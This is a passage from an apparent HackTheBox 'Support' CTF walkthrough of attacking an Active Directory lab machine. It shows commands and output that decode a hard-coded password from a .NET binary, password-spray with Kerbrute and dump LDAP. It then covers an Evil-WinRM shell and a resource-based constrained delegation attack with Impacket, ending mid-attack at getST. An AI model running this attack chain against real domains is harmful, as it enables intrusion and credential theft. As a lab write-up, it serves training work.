3268/tcp open ldap Microsoft Windows Active Directory LDAP <span class="o">(</span>Domain: support.htb0., Site: Default-First-Site-Name<span class="o">)</span>
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 <span class="o">(</span>SSDP/UPnP<span class="o">)</span>
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49699/tcp open msrpc Microsoft Windows RPC
53021/tcp open msrpc Microsoft Windows RPC
53715/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC<span class="p">;</span> OS: Windows<span class="p">;</span> CPE: cpe:/o:microsoft:windows
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>96.71 seconds
</code></pre></div></div>
<h2 id="smb">SMB</h2>
<p>It’s a Windows box so lots of open ports. When I eventually got to looking at SMB on port 445 we find read access to a share:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# smbmap <span class="nt">-u</span> pencer <span class="nt">-H</span> 10.10.11.174
<span class="o">[</span>+] Guest session IP: 10.10.11.174:445 Name: 10.10.11.174
Disk Permissions Comment
<span class="nt">----</span> <span class="nt">-----------</span> <span class="nt">-------</span>
ADMIN<span class="nv">$ </span> NO ACCESS Remote Admin
C<span class="nv">$ </span> NO ACCESS Default share
IPC<span class="nv">$ </span> READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
support-tools READ ONLY support staff tools
SYSVOL NO ACCESS Logon server share
</code></pre></div></div>
<p>Looking in there we find a few files:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# smbmap <span class="nt">-u</span> pencer <span class="nt">-H</span> 10.10.11.174 <span class="nt">-r</span> support-tools
<span class="o">[</span>+] Guest session IP: 10.10.11.174:445 Name: 10.10.11.174
Disk Permissions Comment
<span class="nt">----</span> <span class="nt">-----------</span> <span class="nt">-------</span>
support-tools READ ONLY
.<span class="se">\s</span>upport-tools<span class="se">\*</span>
dr--r--r-- 0 Wed Jul 20 18:01:06 2022 <span class="nb">.</span>
dr--r--r-- 0 Sat May 28 12:18:25 2022 ..
fr--r--r-- 2880728 Sat May 28 12:19:19 2022 7-ZipPortable_21.07.paf.exe
fr--r--r-- 5439245 Sat May 28 12:19:55 2022 npp.8.4.1.portable.x64.zip
fr--r--r-- 1273576 Sat May 28 12:20:06 2022 putty.exe
fr--r--r-- 48102161 Sat May 28 12:19:31 2022 SysinternalsSuite.zip
fr--r--r-- 277499 Wed Jul 20 18:01:07 2022 UserInfo.exe.zip
fr--r--r-- 79171 Sat May 28 12:20:17 2022 windirstat1_1_2_setup.exe
fr--r--r-- 44398000 Sat May 28 12:19:43 2022 WiresharkPortable64_3.6.5.paf.exe
</code></pre></div></div>
<p>Of those UserInfo.exe.zip is not familiar and has a different creation date. Let’s grab it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# smbmap <span class="nt">-u</span> pencer <span class="nt">-H</span> 10.10.11.174 <span class="nt">-r</span> support-tools <span class="nt">-A</span> <span class="s1">'User'</span>
<span class="o">[</span>+] Guest session IP: 10.10.11.174:445 Name: 10.10.11.174
<span class="o">[</span>+] Starting search <span class="k">for </span>files matching <span class="s1">'User'</span> on share support-tools.
<span class="o">[</span>+] Match found! Downloading: support-tools<span class="se">\U</span>serInfo.exe.zip
</code></pre></div></div>
<h2 id="suspicious-file-investigation">Suspicious File Investigation</h2>
<p>I tried it on my Windows VM out of interest:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">C:\Users\Downloads\10.10.11.174-support-tools_UserInfo.exe</span><span class="err">></span><span class="nx">UserInfo.exe</span><span class="w">
</span><span class="n">Usage:</span><span class="w"> </span><span class="nx">UserInfo.exe</span><span class="w"> </span><span class="p">[</span><span class="n">options</span><span class="p">]</span><span class="w"> </span><span class="p">[</span><span class="n">commands</span><span class="p">]</span><span class="w">
</span><span class="n">Options:</span><span class="w">
</span><span class="nt">-v</span><span class="o">|</span><span class="nt">--verbose</span><span class="w"> </span><span class="n">Verbose</span><span class="w"> </span><span class="nx">output</span><span class="w">
</span><span class="n">Commands:</span><span class="w">
</span><span class="nx">find</span><span class="w"> </span><span class="nx">Find</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">user</span><span class="w">
</span><span class="n">user</span><span class="w"> </span><span class="nx">Get</span><span class="w"> </span><span class="nx">information</span><span class="w"> </span><span class="nx">about</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">user</span><span class="w">
</span></code></pre></div></div>
<h2 id="dotpeek">dotPeek</h2>
<p>I couldn’t get much out of it on the command line so I fired up <a href="https://www.jetbrains.com/decompiler/">dotPeek</a> from <a href="https://www.jetbrains.com/">JetBrains</a> and had a look at it:</p>
<p><img src="/assets/images/2022-08-06-16-53-22.png" alt="support-dotpeek-userinfo" /></p>
<p>There’s a class called Protected and a string called enc_password, sounds interesting. If you highlight one of them and press F12 it takes you to the class:</p>
<p><img src="/assets/images/2022-08-06-16-57-02.png" alt="support-userinfo-protected-class" /></p>
<p>We can break this down easily. First we have two variables, enc_password and key:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">private</span> <span class="k">static</span> <span class="n">string</span> <span class="n">enc_password</span> <span class="o">=</span> <span class="s">"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"</span><span class="p">;</span>
<span class="n">private</span> <span class="k">static</span> <span class="n">byte</span><span class="p">[]</span> <span class="n">key</span> <span class="o">=</span> <span class="n">Encoding</span><span class="p">.</span><span class="n">ASCII</span><span class="p">.</span><span class="n">GetBytes</span><span class="p">(</span><span class="s">"armando"</span><span class="p">);</span>
</code></pre></div></div>
<p>Next we base64 decode the value of the enc_password string:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">byte</span><span class="p">[]</span> <span class="n">numArray</span> <span class="o">=</span> <span class="n">Convert</span><span class="p">.</span><span class="n">FromBase64String</span><span class="p">(</span><span class="n">Protected</span><span class="p">.</span><span class="n">enc_password</span><span class="p">);</span>
</code></pre></div></div>
<p>Then we create a new variable called bytes and store that base64 decoded value in it:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">byte</span><span class="p">[]</span> <span class="n">bytes</span> <span class="o">=</span> <span class="n">numArray</span><span class="p">;</span>
</code></pre></div></div>
<p>Finally we go in to a loop, and for each character in the bytes variable we’re doing an xor on it using the key variable, and then xoring the result of that by 223:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">index</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">index</span> <span class="o"><</span> <span class="n">numArray</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span> <span class="o">++</span><span class="n">index</span><span class="p">)</span>
<span class="n">bytes</span><span class="p">[</span><span class="n">index</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">byte</span><span class="p">)</span> <span class="p">((</span><span class="kt">int</span><span class="p">)</span> <span class="n">numArray</span><span class="p">[</span><span class="n">index</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span> <span class="n">Protected</span><span class="p">.</span><span class="n">key</span><span class="p">[</span><span class="n">index</span> <span class="o">%</span> <span class="n">Protected</span><span class="p">.</span><span class="n">key</span><span class="p">.</span><span class="n">Length</span><span class="p">]</span> <span class="o">^</span> <span class="mi">223</span><span class="p">);</span>
</code></pre></div></div>
<p>The result of that will be a decrypted string. I used an online C# compiler called <a href="https://dotnetfiddle.net/">.NET Fiddle</a> to get me the value with just a little change to the code:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">using</span> <span class="n">System</span><span class="p">;</span>
<span class="n">using</span> <span class="n">System</span><span class="p">.</span><span class="n">Text</span><span class="p">;</span>
<span class="n">public</span> <span class="n">class</span> <span class="n">Protected</span>
<span class="p">{</span>
<span class="n">private</span> <span class="k">static</span> <span class="n">string</span> <span class="n">enc_password</span> <span class="o">=</span> <span class="s">"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"</span><span class="p">;</span>
<span class="n">private</span> <span class="k">static</span> <span class="n">byte</span><span class="p">[]</span> <span class="n">key</span> <span class="o">=</span> <span class="n">Encoding</span><span class="p">.</span><span class="n">ASCII</span><span class="p">.</span><span class="n">GetBytes</span><span class="p">(</span><span class="s">"armando"</span><span class="p">);</span>
<span class="n">public</span> <span class="k">static</span> <span class="kt">void</span> <span class="n">getPassword</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">byte</span><span class="p">[]</span> <span class="n">numArray</span> <span class="o">=</span> <span class="n">Convert</span><span class="p">.</span><span class="n">FromBase64String</span><span class="p">(</span><span class="n">enc_password</span><span class="p">);</span>
<span class="n">byte</span><span class="p">[]</span> <span class="n">bytes</span> <span class="o">=</span> <span class="n">numArray</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">index</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">index</span> <span class="o"><</span> <span class="n">numArray</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span> <span class="o">++</span><span class="n">index</span><span class="p">)</span>
<span class="n">bytes</span><span class="p">[</span><span class="n">index</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">byte</span><span class="p">)</span> <span class="p">((</span><span class="kt">int</span><span class="p">)</span> <span class="n">numArray</span><span class="p">[</span><span class="n">index</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span> <span class="n">key</span><span class="p">[</span><span class="n">index</span> <span class="o">%</span> <span class="n">key</span><span class="p">.</span><span class="n">Length</span><span class="p">]</span> <span class="o">^</span> <span class="mi">223</span><span class="p">);</span>
<span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="n">Encoding</span><span class="p">.</span><span class="n">Default</span><span class="p">.</span><span class="n">GetString</span><span class="p">(</span><span class="n">bytes</span><span class="p">));</span>
<span class="p">}</span>
<span class="n">public</span> <span class="k">static</span> <span class="kt">void</span> <span class="n">Main</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">getPassword</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Run that using the online compiler and you’ll get the answer:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
</code></pre></div></div>
<h2 id="kerbrute">Kerbrute</h2>
<p>I don’t know what this is for at the moment. Back to more enumeration, this time using <a href="https://github.com/ropnop/kerbrute">Kerbrute</a> to look for usernames. We’ve used this a few times, most recently on <a href="https://pencer.io/ctf/ctf-htb-scrambled-protected">Scrambled</a> and an old TryHackMe room called <a href="https://pencer.io/ctf/ctf-thm-attacktive/#task-4---kerbrute">Attacktive</a>.</p>
<p>Grab it if needed then try a dictionary or two for your username list:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
<span class="nt">--2022-08-07</span> 23:01:22-- https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
Resolving github.com <span class="o">(</span>github.com<span class="o">)</span>... 140.82.121.3
Connecting to github.com <span class="o">(</span>github.com<span class="o">)</span>|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
<SNIP>HTTP request sent, awaiting response... 200 OK
Length: 8286607 <span class="o">(</span>7.9M<span class="o">)</span> <span class="o">[</span>application/octet-stream]
Saving to: ‘kerbrute_linux_amd64’
kerbrute_linux_amd64 100%[<span class="o">=============================================>]</span> 7.90M 6.91MB/s <span class="k">in </span>1.1s
2022-08-07 23:01:24 <span class="o">(</span>6.91 MB/s<span class="o">)</span> - ‘kerbrute_linux_amd64’ saved <span class="o">[</span>8286607/8286607]
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# <span class="nb">chmod</span> +x kerbrute_linux_amd64
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# ./kerbrute_linux_amd64 userenum <span class="nt">-d</span> support.htb <span class="nt">--dc</span> support.htb /usr/share/wordlists/dirb/small.txt <span class="nt">-t</span> 100 <span class="nt">-o</span> kerbrute.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ <span class="se">\/</span> ___/ __ <span class="se">\/</span> ___/ / / / __/ _ <span class="se">\</span>
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|<span class="se">\_</span>__/_/ /_.___/_/ <span class="se">\_</span>_,_/<span class="se">\_</span>_/<span class="se">\_</span>__/
Version: v1.0.3 <span class="o">(</span>9dad6e1<span class="o">)</span> - 08/07/22 - Ronnie Flathers @ropnop
2022/08/07 23:07:57 <span class="o">></span> Using KDC<span class="o">(</span>s<span class="o">)</span>:
2022/08/07 23:07:57 <span class="o">></span> support.htb:88
2022/08/07 23:07:57 <span class="o">></span> <span class="o">[</span>+] VALID USERNAME: administrator@support.htb
2022/08/07 23:07:57 <span class="o">></span> <span class="o">[</span>+] VALID USERNAME: guest@support.htb
2022/08/07 23:07:57 <span class="o">></span> <span class="o">[</span>+] VALID USERNAME: ldap@support.htb
2022/08/07 23:07:57 <span class="o">></span> <span class="o">[</span>+] VALID USERNAME: management@support.htb
2022/08/07 23:07:57 <span class="o">></span> <span class="o">[</span>+] VALID USERNAME: support@support.htb
2022/08/07 23:07:57 <span class="o">></span> Done! Tested 959 usernames <span class="o">(</span>5 valid<span class="o">)</span> <span class="k">in </span>0.453 seconds
</code></pre></div></div>
<p>We have five valid usernames. Let’s create a userlist from that output:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# <span class="nb">cat </span>kerb-user.txt | <span class="nb">grep </span>USERNAME: | <span class="nb">cut</span> <span class="nt">-d</span> <span class="s1">' '</span> <span class="nt">-f</span> 8 <span class="o">></span> users.txt
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# <span class="nb">cat </span>users.txt
administrator@support.htb
guest@support.htb
management@support.htb
ldap@support.htb
support@support.htb
</code></pre></div></div>
<p>Now try a password spray with Kerbrute, the usernames, and the password we found before:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# ./kerbrute_linux_amd64 passwordspray <span class="nt">-d</span> support.htb <span class="nt">--dc</span> support.htb users.txt <span class="s1">'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'</span>
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ <span class="se">\/</span> ___/ __ <span class="se">\/</span> ___/ / / / __/ _ <span class="se">\</span>
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|<span class="se">\_</span>__/_/ /_.___/_/ <span class="se">\_</span>_,_/<span class="se">\_</span>_/<span class="se">\_</span>__/
Version: v1.0.3 <span class="o">(</span>9dad6e1<span class="o">)</span> - 08/07/22 - Ronnie Flathers @ropnop
2022/08/07 23:17:49 <span class="o">></span> Using KDC<span class="o">(</span>s<span class="o">)</span>:
2022/08/07 23:17:49 <span class="o">></span> support.htb:88
2022/08/07 23:17:49 <span class="o">></span> <span class="o">[</span>+] VALID LOGIN: ldap@support.htb:nvEfEK16^1aM4<span class="nv">$e7AclUf8x$tRWxPWO1</span>%lmz
2022/08/07 23:17:49 <span class="o">></span> Done! Tested 5 logins <span class="o">(</span>1 successes<span class="o">)</span> <span class="k">in </span>0.098 seconds
</code></pre></div></div>
<h2 id="ldapdomaindump">Ldapdomaindump</h2>
<p>So now we have a user called ldap with valid credentials. Next we can use ldapdomaindump, just like we did on the box <a href="https://pencer.io/ctf/ctf-htb-intelligence/">Intelligence</a> a while back, to get get the whole directory:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# ldapdomaindump 10.10.11.174 <span class="nt">-u</span> <span class="s1">'support\ldap'</span> <span class="nt">-p</span> <span class="s1">'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Connecting to host...
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Binding to host
<span class="o">[</span>+] Bind OK
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Starting domain dump
<span class="o">[</span>+] Domain dump finished
</code></pre></div></div>
<p>This gives us a number of files containing everything from AD:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# ll
<span class="nt">-rw-r--r--</span> 1 root root 2454 Aug 8 22:07 domain_computers_by_os.html
<span class="nt">-rw-r--r--</span> 1 root root 669 Aug 8 22:07 domain_computers.grep
<span class="nt">-rw-r--r--</span> 1 root root 1848 Aug 8 22:07 domain_computers.html
<span class="nt">-rw-r--r--</span> 1 root root 9793 Aug 8 22:07 domain_computers.json
<span class="nt">-rw-r--r--</span> 1 root root 10334 Aug 8 22:07 domain_groups.grep
<span class="nt">-rw-r--r--</span> 1 root root 17332 Aug 8 22:07 domain_groups.html
<span class="nt">-rw-r--r--</span> 1 root root 79816 Aug 8 22:07 domain_groups.json
<span class="nt">-rw-r--r--</span> 1 root root 265 Aug 8 22:07 domain_policy.grep
<span class="nt">-rw-r--r--</span> 1 root root 1161 Aug 8 22:07 domain_policy.html
<span class="nt">-rw-r--r--</span> 1 root root 5608 Aug 8 22:07 domain_policy.json
<span class="nt">-rw-r--r--</span> 1 root root 71 Aug 8 22:07 domain_trusts.grep
<span class="nt">-rw-r--r--</span> 1 root root 828 Aug 8 22:07 domain_trusts.html
<span class="nt">-rw-r--r--</span> 1 root root 2 Aug 8 22:07 domain_trusts.json
<span class="nt">-rw-r--r--</span> 1 root root 17705 Aug 8 22:07 domain_users_by_group.html
<span class="nt">-rw-r--r--</span> 1 root root 4588 Aug 8 22:07 domain_users.grep
<span class="nt">-rw-r--r--</span> 1 root root 11468 Aug 8 22:07 domain_users.html
<span class="nt">-rw-r--r--</span> 1 root root 50289 Aug 8 22:07 domain_users.json
</code></pre></div></div>
<h2 id="user-credentials">User Credentials</h2>
<p>It took a fair bit of looking through them but eventually I found this:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">┌──(root㉿kali)-</span><span class="p">[</span><span class="err">~/htb/support</span><span class="p">]</span><span class="w">
</span><span class="err">└─#</span><span class="w"> </span><span class="err">cat</span><span class="w"> </span><span class="err">domain_users.json</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">grep</span><span class="w"> </span><span class="err">-A</span><span class="mi">3</span><span class="w"> </span><span class="err">CN=support</span><span class="w">
</span><span class="s2">"CN=support,CN=Users,DC=support,DC=htb"</span><span class="w">
</span><span class="p">]</span><span class="err">,</span><span class="w">
</span><span class="nl">"info"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="s2">"Ironside47pleasure40Watchful"</span><span class="w">
</span></code></pre></div></div>
<p>We have a user called support with what looks like a password. Our nmap scan told us port 5985 is open, so we can use Evil-WinRM to get us a shell. We’ve used this a few times, an old but fun box from 2021 called <a href="https://pencer.io/ctf/ctf-htb-return/">Return</a> is worth looking at.</p>
<h2 id="evil-winrm">Evil-WinRM</h2>
<p>Install if needed then use the creds we’ve found:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# evil-winrm <span class="nt">-i</span> support.htb <span class="nt">-u</span> support <span class="nt">-p</span> Ironside47pleasure40Watchful
Evil-WinRM shell v3.4
<span class="k">*</span>Evil-WinRM<span class="k">*</span> PS C:<span class="se">\U</span>sers<span class="se">\s</span>upport<span class="se">\D</span>ocuments>
</code></pre></div></div>
<h2 id="user-flag">User Flag</h2>
<p>Grab the user flag first:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\support\Documents</span><span class="err">></span><span class="w"> </span><span class="nx">type</span><span class="w"> </span><span class="o">..</span><span class="nx">\Desktop\user.txt</span><span class="w">
</span><span class="mi">0055</span><span class="n">fed644625bf18ae6d47461bbcf87</span><span class="w">
</span></code></pre></div></div>
<p>My usual starting point on Windows boxes in a domain is to use <a href="https://github.com/BloodHoundAD/BloodHound">Bloodhound</a>. I covered it recently on the box <a href="https://pencer.io/ctf/ctf-htb-streamio-protected">StreamIO</a>, where we looked at using SharpHound to dump the info and then copy over to Kali for investigating in Bloodhound. This time I’ll use that fantastic Python implementation of it <a href="https://github.com/fox-it/BloodHound.py">here</a> and we can do all the work from Kali.</p>
<h2 id="bloodhound">BloodHound</h2>
<p>Before we start you’ll need BloodHound and Neo4j set up on Kali, if you need help with that then I covered it <a href="https://pencer.io/ctf/ctf-thm-postexploit">here</a> on an old TryHackMe room.</p>
<p>Once you have that setup let’s grab the python script and run it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# git clone https://github.com/fox-it/BloodHound.py.git
Cloning into <span class="s1">'BloodHound.py'</span>...
remote: Enumerating objects: 1141, <span class="k">done</span><span class="nb">.</span>
remote: Counting objects: 100% <span class="o">(</span>224/224<span class="o">)</span>, <span class="k">done</span><span class="nb">.</span>
remote: Compressing objects: 100% <span class="o">(</span>47/47<span class="o">)</span>, <span class="k">done</span><span class="nb">.</span>
remote: Total 1141 <span class="o">(</span>delta 193<span class="o">)</span>, reused 182 <span class="o">(</span>delta 177<span class="o">)</span>, pack-reused 917
Receiving objects: 100% <span class="o">(</span>1141/1141<span class="o">)</span>, 474.25 KiB | 2.58 MiB/s, <span class="k">done</span><span class="nb">.</span>
Resolving deltas: 100% <span class="o">(</span>772/772<span class="o">)</span>, <span class="k">done</span><span class="nb">.</span>
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# <span class="nb">cd </span>BloodHound.py
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support/BloodHound.py]
└─# python3 setup.py <span class="nb">install
</span>running <span class="nb">install
</span>running bdist_egg
running egg_info
creating bloodhound.egg-info
writing bloodhound.egg-info/PKG-INFO
writing dependency_links to bloodhound.egg-info/dependency_links.txt
writing entry points to bloodhound.egg-info/entry_points.txt
writing requirements to bloodhound.egg-info/requires.txt
writing top-level names to bloodhound.egg-info/top_level.txt
writing manifest file <span class="s1">'bloodhound.egg-info/SOURCES.txt'</span>
reading manifest file <span class="s1">'bloodhound.egg-info/SOURCES.txt'</span>
<SNIP>
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support/BloodHound.py]
└─# python3 bloodhound.py <span class="nt">-u</span> support@support.htb <span class="nt">-p</span> Ironside47pleasure40Watchful <span class="nt">-dc</span> dc.support.htb <span class="nt">-d</span> support.htb <span class="nt">-ns</span> 10.10.11.174 <span class="nt">--zip</span> <span class="nt">-c</span> All
INFO: Found AD domain: support.htb
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 1 domains
INFO: Found 1 domains <span class="k">in </span>the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 21 <span class="nb">users
</span>INFO: Found 53 <span class="nb">groups
</span>INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: Machine.support.htb
INFO: Querying computer: Management.support.htb
INFO: Querying computer: dc.support.htb
INFO: Done <span class="k">in </span>00M 05S
INFO: Compressing output into 20220810113012_bloodhound.zip
</code></pre></div></div>
<p>Drop that zip in to Bloodhound and have a look around. Eventually you’ll find that the user <strong>support</strong> is in the security group <strong>Shared Support Accounts</strong>:</p>
<p><img src="/assets/images/2022-08-10-12-13-31.png" alt="support-support-user" /></p>
<p>And that <strong>Shared Support Accounts</strong> group has GenericAll rights over the domain controller:</p>
<p><img src="/assets/images/2022-08-10-12-14-51.png" alt="support-genericall" /></p>
<p>If you right click on the GenericAll link between the two nodes and look at the help:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>The members of the group SHARED SUPPORT ACCOUNTS@SUPPORT.HTB have GenericAll privileges to the computer DC.SUPPORT.HTB.
This is also known as full control. This privilege allows the trustee to manipulate the target object however they wish.
</code></pre></div></div>
<p>In the abuse section it also says:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Full control of a computer object can be used to perform a resource based constrained delegation attack.
</code></pre></div></div>
<h2 id="rbcd">RBCD</h2>
<p>This is all the clues you need to figure out how to take advantage of our current position as the <strong>support</strong> user.</p>
<p>Resource Based Constrained Delegation attacks are well documented. In fact the abuse section of Bloodhound gives you a step by step. If you want to learn more then here’s a few good guides I found:</p>
<ol>
<li><a href="https://www.adamcouch.co.uk/active-directory-resource-based-constrained-delegation-attack-path/">AD RBCD Attack Path</a></li>
<li><a href="https://gist.github.com/HarmJ0y/224dbfef83febdaf885a8451e40d52ff">RBCD computer DACL takeover demo</a></li>
<li><a href="https://www.hackingarticles.in/domain-escalation-resource-based-constrained-delegation/">Domain Escalation RBCD</a></li>
<li><a href="https://luemmelsec.github.io/S4fuckMe2selfAndUAndU2proxy-A-low-dive-into-Kerberos-delegations/">A Low Dive Into Kerberos Delegations</a></li>
</ol>
<p>These are all based on Rubeus uploaded to the box. I wanted to do it all from Kali so used <a href="https://hakin9.org/rbcd-attack-kerberos-resource-based-constrained-delegation-attack-from-outside-using-impacket/">this</a>
one which uses Impacket scripts for the entire attack path.</p>
<h2 id="impacket-addcomputer">Impacket AddComputer</h2>
<p>First we need to add a fake computer:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# python3 /usr/share/doc/python3-impacket/examples/addcomputer.py <span class="nt">-dc-ip</span> 10.10.11.174 <span class="nt">-computer-pass</span> pencer <span class="nt">-computer-name</span> pencer support.htb/support:Ironside47pleasure40Watchful
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Successfully added machine account pencer<span class="nv">$ </span>with password pencer.
</code></pre></div></div>
<h2 id="impacket-rbcd">Impacket RBCD</h2>
<p>Next we use our GenericAll rights on the DC to set the <strong>msds-allowedtoactonbehalfofotheridentity</strong> security descriptor to our newly created computer:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# python3 /usr/share/doc/python3-impacket/examples/rbcd.py <span class="nt">-action</span> write <span class="nt">-delegate-to</span> <span class="s2">"dc$"</span> <span class="nt">-delegate-from</span> <span class="s2">"pencer$"</span> <span class="nt">-dc-ip</span> 10.10.11.174 support.htb/support:Ironside47pleasure40Watchful
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Accounts allowed to act on behalf of other identity:
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Pepegaclap<span class="nv">$ </span> <span class="o">(</span>S-1-5-21-1677581083-3380853377-188903654-5106<span class="o">)</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Delegation rights modified successfully!
<span class="o">[</span><span class="k">*</span><span class="o">]</span> pencer<span class="nv">$ </span>can now impersonate <span class="nb">users </span>on dc<span class="nv">$ </span>via S4U2Proxy
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Accounts allowed to act on behalf of other identity:
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Pepegaclap<span class="nv">$ </span> <span class="o">(</span>S-1-5-21-1677581083-3380853377-188903654-5106<span class="o">)</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> pencer<span class="nv">$ </span> <span class="o">(</span>S-1-5-21-1677581083-3380853377-188903654-5104<span class="o">)</span>
</code></pre></div></div>
<h2 id="impacket-getst">Impacket getST</h2>
<p>Now we take advantage of S4U2Self by impersonating the <strong>administrator</strong> user to request a service ticket:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# python3 /usr/share/doc/python3-impacket/examples/getST.py support.htb/pencer<span class="nv">$:</span>pencer <span class="nt">-spn</span> www/dc.support.htb <span class="nt">-impersonate</span> administrator
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
